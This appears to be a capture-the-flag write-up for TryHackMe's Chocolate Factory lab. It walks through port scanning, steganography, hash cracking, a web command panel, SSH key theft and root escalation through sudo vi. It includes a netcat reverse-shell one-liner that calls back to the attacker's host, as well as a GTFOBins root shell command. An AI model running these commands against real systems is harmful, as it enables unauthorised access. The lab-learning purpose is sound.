> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/chocolate-factory.md).

# Chocolate Factory

![](/files/-MbmyM7st0XqG7UYNTvs)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.46.164
```

![](/files/-Mbmz6mmaHoN4L8DfC1P)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.46.164
```

![](/files/-Mbn29seXKJgjH7rTtpx)

## Enumeration

### Port 21: FTP

Anonymous login is allowed so lets go check it out

```
ftp 10.10.46.164
```

![](/files/-Mbn2RARxmR-bVQSwT5W)

Lets list the files.

![](/files/-Mbn2Yr6TdMOmctEEc5T)

Looks like there is one file and it is a image so lets transfer it to our machine

```
get gum_room.jpg
```

![](/files/-Mbn2iG89tIjPlMZvTf7)

Lets look at the image

![](/files/-MbnD5LfdmufEYF1sW1T)

Lets see if there is information hidden in the file, so lets use `steghide`.

```
steghide info gum_room.jpg
```

![](/files/-Mbn3yjVlI_FY_JzB_Mg)

I hit enter for the passphrase and it worked. We have one file called `b64.txt`, lets extract it.

```
steghide --extract -sf gum_room.jpg
```

![](/files/-Mbn4Ajq3xqe0eGwOwoL)

Lets read the file

![](/files/-Mbn4FmjP1g9Hma7uadS)

Lets decode it. After decoded this is the output.

![](/files/-Mbn4gwru3tMNrSSlAqo)

We have the password hash for the user `Charlie`. Lets use hashcat to crack this hash to get the password for Charlie.

Copy the hash into a file called `hash.txt`.

![](/files/-Mbn5H9SYnLwY8e7-MvS)

And now lets use `hashcat` to crack it.

```bash
hashcat -a 0 -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
```

![](/files/-MbnB4NVZPRriY9jk8Qs)

We found the `password: cn7824` , lets try to login through ssh.

```bash
ssh charlie@10.10.46.164
```

![](/files/-MbnBO4rpdqP-QozvMgx)

Looks like this is not the password for ssh, lets go explore port 80

### Port 80: HTTP

Lets visit the website

![](/files/-MbnAxmFR5YyXQnD6tKP)

Its a login page, remember the credentials we found, lets use them to login.

![](/files/-MbnB_nFPdy6hcPexDkR)

We logged in , looks like we can run commands, and normal commands work so lets run a reverse shell and get a reverse shell, lets first start a netcat listener

```bash
nc -lvnp 1234
```

![](/files/-MbnBothtnUWGk1N65vD)

Lets get a reverse shell from [here](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f
```

Lets execute this command, and we get a reverse shell on the machine

![](/files/-MbnCGSAFB4powThNzIh)

Lets stabilize this shell, using these commands

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl + Z
stty raw -echo; fg
reset
Ctrl + C
export TERM=xterm-color
```

![](/files/-MbnCYogC1qT4gqIXlFZ)

Lets list the files in the current directory

![](/files/-MbnCjvr0EhmIZinvUhF)

We have a `validate.php` file, lets read it

![](/files/-MbnDEpDpsdlehKat3H7)

We see the credentials we just used to login in the web page. I tried to run the key file but it said permission denied

![](/files/-MbnDnUCRTzLTlxjl2sI)

So I used a command that lets us look at some information which is called `strings` and it gave me important information

```bash
strings key_rev_key
```

![](/files/-MbnE5LE7e3L5Nou5kB5)

We have a key. With this information we can answer two questions in the room

![](/files/-MbnECknfX18oWjAr83F)

I was enumerating when I realized that we can change directories into Charlie, so I listed the files and found the `user.txt` and some other files.

![](/files/-MbnF7jg1dAW71ENHOsY)

Lets read the teleport file.

![](/files/-MbnFLsO9WHlxLtQdckd)

Its a rsa private key, we can use this to login as `charlie` through ssh, lets do that. First copy the contents of the file into a file on your machine called `id_rsa`.

![](/files/-MbnFiJ-5qzIPUaPrNJX)

Now we should change the permissions of the file

```bash
chmod 600 id_rsa
```

![](/files/-MbnFueZniGk5NXgCNIA)

Now lets login

```bash
ssh -i id_rsa charlie@10.10.46.164
```

![](/files/-MbnG5eZY1JvsD7r-IB7)

We are logged in.

## Privilege Escalation

Lets run `sudo -l` to see what we can run as root

```bash
sudo -l
```

![](/files/-MbnGWduFlBgURDowrka)

Looks like we can run `/usr/bin/vi` as root so lets go to [GTFOBins ](https://gtfobins.github.io/gtfobins/vi/#sudo)to find the commands to escalate our privilege to root.

![](/files/-MbnGjVioryi2EkVXJ7U)

Lets run this command

```bash
sudo vi -c ':!/bin/sh' /dev/null
```

![](/files/-MbnGrlL0R8QJZqt9LZa)

We are now root, lets cd into the root folder to find the root flag, it looks like we need to run a python script to get the flag, lets run it, oh its asking for a key, remember when we found the key during enumeration, type that in and you should get the flag

![](/files/-MbnHh0aYXsq8jk0tMji)